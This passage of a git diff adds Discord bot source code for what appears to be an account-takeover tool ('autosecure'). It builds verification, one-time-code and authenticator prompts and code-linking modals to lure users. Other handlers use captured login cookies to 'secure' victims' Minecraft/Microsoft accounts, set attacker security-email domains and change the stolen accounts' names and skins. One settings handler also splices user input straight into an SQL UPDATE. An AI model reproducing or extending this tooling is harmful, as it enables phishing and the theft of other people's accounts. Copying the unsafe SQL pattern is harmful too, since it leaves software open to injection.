ButtonBuilder().setCustomId("color").setLabel("Color").setStyle(ButtonStyle.Primary) + const imageUrl = new ButtonBuilder().setCustomId("image").setLabel("Image").setStyle(ButtonStyle.Primary) + const footer = new ButtonBuilder().setCustomId("footer").setLabel("Footer").setStyle(ButtonStyle.Primary) + const footerUrl = new ButtonBuilder().setCustomId("footerurl").setLabel("Footer URL").setStyle(ButtonStyle.Primary) + const send = new ButtonBuilder().setCustomId("saveprofile").setLabel("Save").setEmoji("💾").setStyle(ButtonStyle.Success) + return interaction.reply({ + embeds: [{ title: `Embed to be sent`, description: `Change the embed using these buttons\n And once you are done, click on the send button!`, color: 0x00ff00 }], + components: [ + new ActionRowBuilder().addComponents(title, description, author, authorUrl, thumbnai), + new ActionRowBuilder().addComponents(imageUrl, footer, footerUrl, color), + new ActionRowBuilder().addComponents(send) + ], + ephemeral: true + }) + } +} \ No newline at end of file diff --git a/Buttons/profiles/delete.js b/Buttons/profiles/delete.js new file mode 100644 index 0000000..f8282ab --- /dev/null +++ b/Buttons/profiles/delete.js @@ -0,0 +1,11 @@ +const { queryParams } = require("../../../db/db") +const listProfiles = require("../../utils/listProfiles") + +module.exports = { + name: "deleteprofile", + callback: async (client, interaction) => { + let id = interaction.customId.split("|")[1] + await queryParams(`DELETE FROM profiles WHERE id=? AND user_id=?`, [id, interaction.user.id]) + return interaction.update(await listProfiles(interaction.user.id, 1)) + } +} \ No newline at end of file diff --git a/Buttons/profiles/fetchProfile.js b/Buttons/profiles/fetchProfile.js new file mode 100644 index 0000000..f7123ce --- /dev/null +++ b/Buttons/profiles/fetchProfile.js @@ -0,0 +1,17 @@ +const { queryParams } = require("../../../db/db") + +module.exports = { + name: "fetchprofile", + callback: async (client, interaction) => { + let profile = await queryParams(`SELECT * FROM profiles WHERE id=? AND user_id=?`, [interaction.customId.split("|")[1], interaction.user.id]) + if (profile.length == 0) { + return interaction.update(`Couldn't get the profile!`) + } else { + let embed = JSON.parse(profile[0].embed) + return interaction.update({ + embeds: [embed], + components: interaction.message.components + }) + } + } +} \ No newline at end of file diff --git a/Buttons/profiles/move.js b/Buttons/profiles/move.js new file mode 100644 index 0000000..334c7fa --- /dev/null +++ b/Buttons/profiles/move.js @@ -0,0 +1,8 @@ +const listProfiles = require("../../utils/listProfiles") + +module.exports = { + name: "moveprofile", + callback: async (client, interaction) => { + interaction.update(await listProfiles(interaction.user.id, interaction.customId.split("|")[1])) + } +} \ No newline at end of file diff --git a/Buttons/profiles/save.js b/Buttons/profiles/save.js new file mode 100644 index 0000000..75a4dc3 --- /dev/null +++ b/Buttons/profiles/save.js @@ -0,0 +1,15 @@ +const { queryParams } = require("../../../db/db") + +module.exports = { + name: "saveprofile", + callback: async (client, interaction) => { + let profiles = await queryParams(`SELECT * FROM profiles WHERE user_id=?`, [interaction.user.id]) + if (profiles.length >= 5) { + return interaction.update(`You already reached the maximum number of profiles **5**!`) + } else { + let embed = JSON.stringify(interaction.message.embeds[0].data) + await queryParams(`INSERT INTO profiles(user_id,embed) VALUES(?,?)`, [interaction.user.id, embed]) + return interaction.update(`Saved your embed!`) + } + } +} \ No newline at end of file diff --git a/Buttons/settings/changeSettings.js b/Buttons/settings/changeSettings.js new file mode 100644 index 0000000..c62885b --- /dev/null +++ b/Buttons/settings/changeSettings.js @@ -0,0 +1,11 @@ +const { queryParams } = require("../../../db/db") +const listSettings = require("../../utils/listSettings") + +module.exports = { + name: "settings", + adminOnly: true, + callback: async (client, interaction) => { + await queryParams(`UPDATE autosecure SET ${interaction.customId.split("|")[1]}=${interaction.customId.split("|")[2]} WHERE user_id=?`, [client.username]) + return interaction.update(await listSettings(client.username)) + } +} \ No newline at end of file diff --git a/Buttons/settings/oauthset.js b/Buttons/settings/oauthset.js new file mode 100644 index 0000000..11b35fa --- /dev/null +++ b/Buttons/settings/oauthset.js @@ -0,0 +1,18 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "oauthset", + ownerOnly: true, + callback: async (client, interaction) => { + return interaction.showModal(modalBuilder(`oauthlink`, `OAUTH Link`, [{ + setCustomId: 'oauthlink', + setMaxLength: 4000, + setMinLength: 0, + setRequired: false, + setLabel: "OAUTH Link", + setPlaceholder: "Type the desired OAUTH Link.", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/settings/securityemaildomain.js b/Buttons/settings/securityemaildomain.js new file mode 100644 index 0000000..83452d0 --- /dev/null +++ b/Buttons/settings/securityemaildomain.js @@ -0,0 +1,20 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "emaildomain", + ownerOnly: true, + callback: async (client, interaction) => { + interaction.showModal(modalBuilder(`emaildomain`, `emaildomain`, + [{ + setCustomId: 'domain', + setMaxLength: 253, + setMinLength: 0, + setRequired: true, + setLabel: "Domain", + setPlaceholder: "Your domain EX:oldward.fun", + setStyle: TextInputStyle.Short + }] + )) + } +} \ No newline at end of file diff --git a/Buttons/stats/bedwars.js b/Buttons/stats/bedwars.js new file mode 100644 index 0000000..34233ef --- /dev/null +++ b/Buttons/stats/bedwars.js @@ -0,0 +1,15 @@ +const statsMsg = require("../../utils/statsMsg") + +module.exports={ + name:"bedwars", + callback:async (client,interaction)=>{ + let id = interaction.customId.split("|")[1] + let sensored = interaction.customId.split("|")[2] + if(sensored=="0"){ + sensored=false + }else{ + sensored=true + } + interaction.update(await statsMsg(id,"bedwars",sensored)) + } +} \ No newline at end of file diff --git a/Buttons/stats/duels.js b/Buttons/stats/duels.js new file mode 100644 index 0000000..954c6a4 --- /dev/null +++ b/Buttons/stats/duels.js @@ -0,0 +1,15 @@ +const statsMsg = require("../../utils/statsMsg") + +module.exports={ + name:"duels", + callback:async (client,interaction)=>{ + let id = interaction.customId.split("|")[1] + let sensored = interaction.customId.split("|")[2] + if(sensored=="0"){ + sensored=false + }else{ + sensored=true + } + interaction.update(await statsMsg(id,"duels",sensored)) + } +} \ No newline at end of file diff --git a/Buttons/stats/skyblock.js b/Buttons/stats/skyblock.js new file mode 100644 index 0000000..8468442 --- /dev/null +++ b/Buttons/stats/skyblock.js @@ -0,0 +1,15 @@ +const statsMsg = require("../../utils/statsMsg") + +module.exports={ + name:"skyblock", + callback:async (client,interaction)=>{ + let id = interaction.customId.split("|")[1] + let sensored = interaction.customId.split("|")[2] + if(sensored=="0"){ + sensored=false + }else{ + sensored=true + } + interaction.update(await statsMsg(id,"skyblock",sensored)) + } +} \ No newline at end of file diff --git a/Buttons/stats/skywars.js b/Buttons/stats/skywars.js new file mode 100644 index 0000000..bab46db --- /dev/null +++ b/Buttons/stats/skywars.js @@ -0,0 +1,15 @@ +const statsMsg = require("../../utils/statsMsg") + +module.exports={ + name:"skywars", + callback:async (client,interaction)=>{ + let id = interaction.customId.split("|")[1] + let sensored = interaction.customId.split("|")[2] + if(sensored=="0"){ + sensored=false + }else{ + sensored=true + } + interaction.update(await statsMsg(id,"skywars",sensored)) + } +} \ No newline at end of file diff --git a/Buttons/users/add.js b/Buttons/users/add.js new file mode 100644 index 0000000..7a8ede7 --- /dev/null +++ b/Buttons/users/add.js @@ -0,0 +1,17 @@ +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "adduser", + ownerOnly: true, + callback: async (client, interaction) => { + interaction.showModal(modalBuilder(`adduser`, `Add User`, [{ + setCustomId: 'userid', + setMaxLength: 21, + setMinLength: 1, + setRequired: true, + setLabel: "User ID", + setPlaceholder: "Ex:1235562829235355771", + setStyle: 1 + }])) + } +} \ No newline at end of file diff --git a/Buttons/users/admin.js b/Buttons/users/admin.js new file mode 100644 index 0000000..9f3f789 --- /dev/null +++ b/Buttons/users/admin.js @@ -0,0 +1,21 @@ +const { queryParams } = require("../../../db/db") +const usersMsg = require("../../utils/usersMsg") + +module.exports = { + name: "admin", + ownerOnly: true, + callback: async (client, interaction) => { + let [t,userId,current] = interaction.customId.split("|") + let user = await queryParams(`SELECT * FROM users WHERE user_id=? AND child=?`, [client.username, userId]) + if (user.length == 0) { + return interaction.update(await usersMsg(client.username, current)) + } + if (user[0].admin) { + await queryParams(`UPDATE users SET admin=? WHERE user_id=? AND child=?`, [0, client.username, userId]) + return interaction.update(await usersMsg(client.username, current)) + } else { + await queryParams(`UPDATE users SET admin=? WHERE user_id=? AND child=?`, [1, client.username, userId]) + return interaction.update(await usersMsg(client.username, current)) + } + } +} \ No newline at end of file diff --git a/Buttons/users/back.js b/Buttons/users/back.js new file mode 100644 index 0000000..d5ae426 --- /dev/null +++ b/Buttons/users/back.js @@ -0,0 +1,8 @@ +const usersMsg = require("../../utils/usersMsg") + +module.exports = { + name: "backusers", + callback: async (client, interaction) => { + return interaction.update(await usersMsg(interaction.user.id, interaction.customId.split("|")[1])) + } +} \ No newline at end of file diff --git a/Buttons/users/claiming.js b/Buttons/users/claiming.js new file mode 100644 index 0000000..5e5a85a --- /dev/null +++ b/Buttons/users/claiming.js @@ -0,0 +1,25 @@ +const { queryParams } = require("../../../db/db") +const usersMsg = require("../../utils/usersMsg") + +module.exports = { + name: "claiming", + ownerOnly: true, + callback: async (client, interaction) => { + let [t, userId, current] = interaction.customId.split("|") + let user = await queryParams(`SELECT * FROM users WHERE user_id=? AND child=?`, [client.username, userId]) + if (user.length == 0) { + return interaction.update(await usersMsg(client.username, current)) + } + user=user[0] + if (user.claiming == 1) { + await queryParams(`UPDATE users SET claiming=? WHERE user_id=? AND child=?`, [0, client.username, userId]) + return interaction.update(await usersMsg(client.username, current)) + } else if (user.claiming == 0) { + await queryParams(`UPDATE users SET claiming=? WHERE user_id=? AND child=?`, [-1, client.username, userId]) + return interaction.update(await usersMsg(client.username, current)) + } else { + await queryParams(`UPDATE users SET claiming=? WHERE user_id=? AND child=?`, [1, client.username, userId]) + return interaction.update(await usersMsg(client.username, current)) + } + } +} \ No newline at end of file diff --git a/Buttons/users/move.js b/Buttons/users/move.js new file mode 100644 index 0000000..aeac191 --- /dev/null +++ b/Buttons/users/move.js @@ -0,0 +1,9 @@ +const usersMsg = require("../../utils/usersMsg") + +module.exports = { + name: "moveusers", + ownerOnly:true, + callback: async (client, interaction) => { + return interaction.update(await usersMsg(client.username, interaction.customId.split("|")[1])) + } +} \ No newline at end of file diff --git a/Buttons/users/next.js b/Buttons/users/next.js new file mode 100644 index 0000000..39b9d68 --- /dev/null +++ b/Buttons/users/next.js @@ -0,0 +1,8 @@ +const usersMsg = require("../../utils/usersMsg") + +module.exports = { + name: "forwardusers", + callback: async (client, interaction) => { + return interaction.update(await usersMsg(interaction.user.id, interaction.customId.split("|")[1])) + } +} \ No newline at end of file diff --git a/Buttons/users/removeUser.js b/Buttons/users/removeUser.js new file mode 100644 index 0000000..49196ca --- /dev/null +++ b/Buttons/users/removeUser.js @@ -0,0 +1,11 @@ +const { queryParams } = require("../../../db/db") +const usersMsg = require("../../utils/usersMsg") + +module.exports={ + name:"removeuser", + ownerOnly:true, + callback:async(client,interaction)=>{ + await queryParams(`DELETE FROM users WHERE user_id=? AND child=?`,[interaction.user.id,interaction.customId.split("|")[1]]) + return interaction.update(await usersMsg(interaction.user.id,1)) + } +} \ No newline at end of file diff --git a/Buttons/utils/Image.js b/Buttons/utils/Image.js new file mode 100644 index 0000000..78ac7b5 --- /dev/null +++ b/Buttons/utils/Image.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "image", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`image`, `image`, [{ + setCustomId: 'image', + setMaxLength: 4000, + setMinLength: 0, + setRequired: false, + setLabel: "Image", + setPlaceholder: "Type the desired Image.", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/utils/author.js b/Buttons/utils/author.js new file mode 100644 index 0000000..0595031 --- /dev/null +++ b/Buttons/utils/author.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "author", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`author`, `Author`, [{ + setCustomId: 'author', + setMaxLength: 256, + setMinLength: 0, + setRequired: false, + setLabel: "Author Name", + setPlaceholder: "Type the desired Author Name.", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/utils/authorUrl.js b/Buttons/utils/authorUrl.js new file mode 100644 index 0000000..43c7de9 --- /dev/null +++ b/Buttons/utils/authorUrl.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "authorurl", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`authorurl`, `Author URL`, [{ + setCustomId: 'authorurl', + setMaxLength: 4000, + setMinLength: 0, + setRequired: false, + setLabel: "Author URL", + setPlaceholder: "Type the desired Author URL.", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/utils/ban.js b/Buttons/utils/ban.js new file mode 100644 index 0000000..68b9542 --- /dev/null +++ b/Buttons/utils/ban.js @@ -0,0 +1,24 @@ +const { queryParams } = require("../../../db/db"); + +let ban = { + name: `ban`, + userOnly: true, + callback: async (client, interaction) => { + let id = interaction.customId.split("|").slice(1).join("|") + try { + let server = await queryParams(`SELECT * FROM autosecure WHERE user_id=?`, [client.username]) + if (server.length == 0) { + return interaction.update({ content: `Failed to ban <@${id}>` }) + } + server = server[0].server_id + if (server) { + await client.guilds.cache.get(server).members.cache.get(id).ban() + return interaction.update({ content: `Banned <@${id}>` }) + } + } catch (e) { + console.log(`Failed to ban ${id}, ${e}`) + return interaction.update({ content: `Failed to ban <@${id}>` }) + } + } +}; +module.exports = ban; diff --git a/Buttons/utils/botStatus.js b/Buttons/utils/botStatus.js new file mode 100644 index 0000000..d6e58f7 --- /dev/null +++ b/Buttons/utils/botStatus.js @@ -0,0 +1,26 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "changestatus", + callback: async (client, interaction) => { + + return interaction.showModal(modalBuilder(`botstatus`, `Bot Status`, [{ + setCustomId: 'status', + setMaxLength: 256, + setMinLength: 0, + setRequired: false, + setLabel: "Bot Status", + setPlaceholder: "Type the desired status.", + setStyle: TextInputStyle.Short + }, { + setCustomId: 'state', + setMaxLength: 9, + setMinLength: 0, + setRequired: true, + setLabel: "State", + setPlaceholder: "online/dnd/idle/invisible", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/utils/buttonColor.js b/Buttons/utils/buttonColor.js new file mode 100644 index 0000000..b1d2402 --- /dev/null +++ b/Buttons/utils/buttonColor.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "buttoncolor", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`buttoncolor`, `Button Color`, [{ + setCustomId: 'buttoncolor', + setMaxLength: 5, + setMinLength: 3, + setRequired: true, + setLabel: "Button Color", + setPlaceholder: "Button colors are limited to these 4 options (Red,Green,Blue,Gray)", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/utils/buttonEmoji.js b/Buttons/utils/buttonEmoji.js new file mode 100644 index 0000000..52e7f3e --- /dev/null +++ b/Buttons/utils/buttonEmoji.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "buttonemoji", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`buttonemoji`, `Button Emoji`, [{ + setCustomId: 'buttonemoji', + setMaxLength: 80, + setMinLength: 0, + setRequired: false, + setLabel: "Button Emoji", + setPlaceholder: "Put the desired emoji for your button", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/utils/buttonLabel.js b/Buttons/utils/buttonLabel.js new file mode 100644 index 0000000..3dfeeaf --- /dev/null +++ b/Buttons/utils/buttonLabel.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "buttonlabel", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`buttonlabel`, `Button Label`, [{ + setCustomId: 'buttoncolor', + setMaxLength: 80, + setMinLength: 1, + setRequired: true, + setLabel: "Button Label", + setPlaceholder: "Put your desired button label", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/utils/changeSkin.js b/Buttons/utils/changeSkin.js new file mode 100644 index 0000000..f4b78cd --- /dev/null +++ b/Buttons/utils/changeSkin.js @@ -0,0 +1,28 @@ +const axios = require("axios"); +const generate = require("../../utils/generate"); +const { queryParams } = require("../../../db/db"); +const modalBuilder = require("../../utils/modalBuilder"); +const { TextInputStyle } = require("discord.js"); +let changeskin = { + name: `changeskin`, + callback: async (client, interaction) => { + let id = generate(32) + let ssid = interaction.customId.split("|")[1] + queryParams( + `INSERT INTO actions (id,action) VALUES (?,?)`, + [id, `skinchangemodal|${ssid}`] + ); + interaction.showModal(modalBuilder( + `action|${id}`, `New Skin URL`, [{ + setCustomId: 'newskin', + setMaxLength: 1000, + setMinLength: 1, + setRequired: true, + setLabel: "Your skin URL", + setPlaceholder: "https://www.minecraftskins.com/uploads/skins/2024/03/16/-3-22407165.png?v620", + setStyle: TextInputStyle.Short + }] + )) + } +} +module.exports = changeskin \ No newline at end of file diff --git a/Buttons/utils/changebutton.js b/Buttons/utils/changebutton.js new file mode 100644 index 0000000..8f80844 --- /dev/null +++ b/Buttons/utils/changebutton.js @@ -0,0 +1,30 @@ +const { ActionRowBuilder, ButtonBuilder, ButtonStyle } = require("discord.js") + +module.exports = { + name: "changebutton", + callback: async (client, interaction) => { + let type = interaction.customId.split("|")[1] + let buttons = [ + new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId("buttonlabel").setEmoji("🏷️").setLabel("Button Label").setStyle(ButtonStyle.Primary), + ) + ] + if (type != "oauth") { + buttons[0].addComponents(new ButtonBuilder().setCustomId("buttoncolor").setEmoji("🎨").setLabel("Button Color").setStyle(ButtonStyle.Primary)) + } + buttons[0].addComponents( + new ButtonBuilder().setCustomId("savebutton|" + type).setEmoji("✏️").setLabel("Your button").setStyle(ButtonStyle.Secondary), + new ButtonBuilder().setCustomId("buttonemoji").setEmoji("😎").setLabel("Button Emoji").setStyle(ButtonStyle.Primary), + new ButtonBuilder().setCustomId("deletebutton|"+type).setEmoji("🗑️").setLabel("Delete button").setStyle(ButtonStyle.Danger) + ) + return interaction.reply({ + embeds: [{ + title: `Change your button`, + description: `Change how your button looks like using these controls\nAfter you finish, click on your button to save!\n\n**Note**\nLink Buttons must have the color Gray in discord!`, + color: 0xEB9C6C + }], + ephemeral: true, + components: buttons + }) + } +} \ No newline at end of file diff --git a/Buttons/utils/color.js b/Buttons/utils/color.js new file mode 100644 index 0000000..6ab4faa --- /dev/null +++ b/Buttons/utils/color.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "color", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`color`, `color`, [{ + setCustomId: 'color', + setMaxLength: 6, + setMinLength: 1, + setRequired: true, + setLabel: "Color", + setPlaceholder: "Type the desired Color.", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/utils/delete.js b/Buttons/utils/delete.js new file mode 100644 index 0000000..2cc3160 --- /dev/null +++ b/Buttons/utils/delete.js @@ -0,0 +1,11 @@ +const { queryParams } = require("../../../db/db") + +module.exports = { + name: "delete", + adminOnly: true, + callback: async (client, interaction) => { + let type = interaction.customId.split("|")[1] + await queryParams(`DELETE FROM embeds WHERE type=? AND user_id=?`, [type, client.username]) + return interaction.update({ content: `Deleted your ${type} embed!`, ephemeral: true }) + } +} \ No newline at end of file diff --git a/Buttons/utils/deleteButton.js b/Buttons/utils/deleteButton.js new file mode 100644 index 0000000..bff779e --- /dev/null +++ b/Buttons/utils/deleteButton.js @@ -0,0 +1,11 @@ +const { queryParams } = require("../../../db/db") + +module.exports = { + name: "deletebutton", + adminOnly: true, + callback: async (client, interaction) => { + let type = interaction.customId.split("|")[1] + await queryParams(`DELETE FROM buttons WHERE user_id=? AND type=?`, [client.username, type]) + return interaction.update({ content: `Deleted your button!` }) + } +} \ No newline at end of file diff --git a/Buttons/utils/description.js b/Buttons/utils/description.js new file mode 100644 index 0000000..a7fabbb --- /dev/null +++ b/Buttons/utils/description.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "description", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`description`, `description`, [{ + setCustomId: 'description', + setMaxLength: 4000, + setMinLength: 0, + setRequired: false, + setLabel: "Embed description", + setPlaceholder: "Type the desired embed description.", + setStyle: TextInputStyle.Paragraph + }])) + } +} \ No newline at end of file diff --git a/Buttons/utils/editEmbeds.js b/Buttons/utils/editEmbeds.js new file mode 100644 index 0000000..fee7eab --- /dev/null +++ b/Buttons/utils/editEmbeds.js @@ -0,0 +1,31 @@ +const { ActionRowBuilder, ButtonBuilder, ButtonStyle } = require("discord.js") + +module.exports = { + name: "editembeds", + adminOnly: true, + callback: async (client, interaction) => { + return interaction.reply({ + embeds: [{ + title: `Which embed do you want to change?`, + color: 0xC8C8C8 + }], + components: [ + new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId("embeds|main").setLabel("Change Verification Embed").setStyle(ButtonStyle.Primary), + new ButtonBuilder().setCustomId("embeds|oauth").setLabel("Change OAuth Embed").setStyle(ButtonStyle.Primary), + new ButtonBuilder().setCustomId("embeds|sec").setLabel("Change Security Emails Embed").setStyle(ButtonStyle.Primary), + new ButtonBuilder().setCustomId("embeds|res").setLabel("Change Final Response Embed").setStyle(ButtonStyle.Primary), + ), + new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId("embeds|otp").setLabel("Change OTP Disabled Embed").setStyle(ButtonStyle.Danger), + new ButtonBuilder().setCustomId("embeds|invalid").setLabel("Change Invalid Code Embed").setStyle(ButtonStyle.Danger), + new ButtonBuilder().setCustomId("embeds|invalid email").setLabel("Change Invalid Email Embed").setStyle(ButtonStyle.Danger), + new ButtonBuilder().setCustomId("embeds|account doesn't exist").setLabel("Change Account doesn't exist Embed").setStyle(ButtonStyle.Danger), + ), + new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId("embeds|authenticator").setLabel("Change Authenticator Embed").setStyle(ButtonStyle.Secondary) + )], + ephemeral: true + }) + } +} \ No newline at end of file diff --git a/Buttons/utils/editModals.js b/Buttons/utils/editModals.js new file mode 100644 index 0000000..e116f04 --- /dev/null +++ b/Buttons/utils/editModals.js @@ -0,0 +1,20 @@ +const { ActionRowBuilder, ButtonBuilder, ButtonStyle } = require("discord.js") + +module.exports = { + name: "editmodals", + adminOnly: true, + callback: async (client, interaction) => { + return interaction.reply({ + embeds: [{ + title: `Which Modal do you want to change?`, + color: 0xC8C8C8 + }], + components: [ + new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId("modal|main").setLabel("Change Linking Modal").setStyle(ButtonStyle.Primary), + new ButtonBuilder().setCustomId("modal|code").setLabel("Change Confirming Code Modal").setStyle(ButtonStyle.Primary) + )], + ephemeral: true + }) + } +} \ No newline at end of file diff --git a/Buttons/utils/editbuttons.js b/Buttons/utils/editbuttons.js new file mode 100644 index 0000000..c9cfbf9 --- /dev/null +++ b/Buttons/utils/editbuttons.js @@ -0,0 +1,23 @@ +const { ActionRowBuilder, ButtonBuilder, ButtonStyle } = require("discord.js") + +module.exports = { + name: "editbuttons", + adminOnly: true, + callback: async (client, interaction) => { + return interaction.reply({ + embeds: [{ + title: `Which Button do you want to change?`, + color: 0xC8C8C8 + }], + components: [ + new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId("changebutton|link account").setLabel("Change Link Account Button").setStyle(ButtonStyle.Primary), + new ButtonBuilder().setCustomId("changebutton|oauth").setLabel("Change OAuth Button").setStyle(ButtonStyle.Primary), + new ButtonBuilder().setCustomId("changebutton|code").setLabel("Change Submit Code Button").setStyle(ButtonStyle.Primary), + new ButtonBuilder().setCustomId("changebutton|howto").setLabel("Change How To Button").setStyle(ButtonStyle.Primary) + ) + ], + ephemeral: true + }) + } +} \ No newline at end of file diff --git a/Buttons/utils/embeds.js b/Buttons/utils/embeds.js new file mode 100644 index 0000000..9d45acc --- /dev/null +++ b/Buttons/utils/embeds.js @@ -0,0 +1,10 @@ +const verificationMessage = require("../../utils/settings/verificationMessage"); +let disableautosecure = { + name: `embeds`, + adminOnly: true, + callback: async (client, interaction) => { + let type = interaction.customId.split("|")[1] + return interaction.reply(await verificationMessage(client.username, type)) + } +}; +module.exports = disableautosecure; diff --git a/Buttons/utils/footer.js b/Buttons/utils/footer.js new file mode 100644 index 0000000..d5ef3f3 --- /dev/null +++ b/Buttons/utils/footer.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "footer", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`footer`, `footer`, [{ + setCustomId: 'footer', + setMaxLength: 2048, + setMinLength: 0, + setRequired: false, + setLabel: "Footer", + setPlaceholder: "Type the desired Footer.", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/utils/footerUrl.js b/Buttons/utils/footerUrl.js new file mode 100644 index 0000000..6bc9ebf --- /dev/null +++ b/Buttons/utils/footerUrl.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "footerurl", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`footerurl`, `footerurl`, [{ + setCustomId: 'footerurl', + setMaxLength: 4000, + setMinLength: 0, + setRequired: false, + setLabel: "Footer URL", + setPlaceholder: "Type the desired Footer URL.", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/utils/nameChange.js b/Buttons/utils/nameChange.js new file mode 100644 index 0000000..f7a04ea --- /dev/null +++ b/Buttons/utils/nameChange.js @@ -0,0 +1,28 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") +const { queryParams } = require("../../../db/db") +const generate = require("../../utils/generate") + +let namechange = { + name: `namechange`, + callback: async (client, interaction) => { + let id = generate(32) + let ssid = interaction.customId.split("|")[1] + queryParams( + `INSERT INTO actions (id,action) VALUES (?,?)`, + [id, `namechangemodal|${ssid}`] + ); + interaction.showModal(modalBuilder( + `action|${id}`, `New Name`, [{ + setCustomId: 'newname', + setMaxLength: 16, + setMinLength: 3, + setRequired: true, + setLabel: "Your new IGN", + setPlaceholder: "Type your new IGN.", + setStyle: TextInputStyle.Short + }] + )) + } +} +module.exports = namechange \ No newline at end of file diff --git a/Buttons/utils/retry.js b/Buttons/utils/retry.js new file mode 100644 index 0000000..82608cf --- /dev/null +++ b/Buttons/utils/retry.js @@ -0,0 +1,35 @@ +const { queryParams } = require("../../../db/db") +const listAccount = require("../../utils/listAccount") +const secure = require("../../utils/secure") + +module.exports = { + name: "retrysecure", + callback: async (client, interaction) => { + let host = interaction.customId.split("|")[1] + if (!host) { + return interaction.reply({ content: `Couldn't find the login cookie!`, ephemeral: true }) + } + let settings = await queryParams(`SELECT * FROM autosecure WHERE user_id=?`, [client.username]) + if (settings.length == 0) { + return interaction.reply({ + embeds: [{ + title: `Error :x:`, + description: `Unexpected error occured!`, + color: 0xff0000 + }], + ephemeral: true + }) + } + settings = settings[0] + interaction.reply({ content: `Trying to secure`, ephemeral: true }) + try { + let acc = await secure(host, settings) + let msg = await listAccount(acc) + interaction.editReply(msg) + interaction.user.send(msg) + } catch (e) { + console.log(`Failed while trying to secure ${e}`) + return interaction.editReply({ content: `Failed to secure!`, ephemeral: true }) + } + } +} \ No newline at end of file diff --git a/Buttons/utils/save.js b/Buttons/utils/save.js new file mode 100644 index 0000000..b8bb9af --- /dev/null +++ b/Buttons/utils/save.js @@ -0,0 +1,18 @@ +const { queryParams } = require("../../../db/db") + +module.exports = { + name: "save", + adminOnly: true, + callback: async (client, interaction) => { + let embed = interaction.message.embeds[0].data + let type = interaction.customId.split("|")[1] + let d = await queryParams(`SELECT * FROM embeds WHERE user_id=? AND type=? LIMIT 1`, [client.username, type]) + if (d.length == 0) { + await queryParams(`INSERT INTO embeds(user_id,type,embed) VALUES(?,?,?)`, [client.username, type, JSON.stringify(embed)]) + return interaction.update({ content: `Saved your ${type} embed!`, ephemeral: true }) + } else { + await queryParams(`UPDATE embeds SET embed=? WHERE user_id=? AND type=?`, [JSON.stringify(embed), client.username, type]) + return interaction.update({ content: `Updated your ${type} embed!`, ephemeral: true }) + } + } +} \ No newline at end of file diff --git a/Buttons/utils/saveButton.js b/Buttons/utils/saveButton.js new file mode 100644 index 0000000..2947086 --- /dev/null +++ b/Buttons/utils/saveButton.js @@ -0,0 +1,27 @@ +const { queryParams } = require("../../../db/db") + +module.exports = { + name: "savebutton", + adminOnly: true, + callback: async (client, interaction) => { + let type = interaction.customId.split("|")[1] + let button + if (type == "oauth") { + button = interaction.message.components[0].components[1].data + delete button.custom_id + button.type = 2 + button.style = 5 + } else { + button = interaction.message.components[0].components[2].data + button.custom_id = type + } + let exist = await queryParams(`SELECT * FROM buttons WHERE user_id=? AND type=?`, [client.username, type]) + if (exist.length == 0) { + await queryParams(`INSERT INTO buttons(user_id,type,button) VALUES(?,?,?)`, [client.username, type, 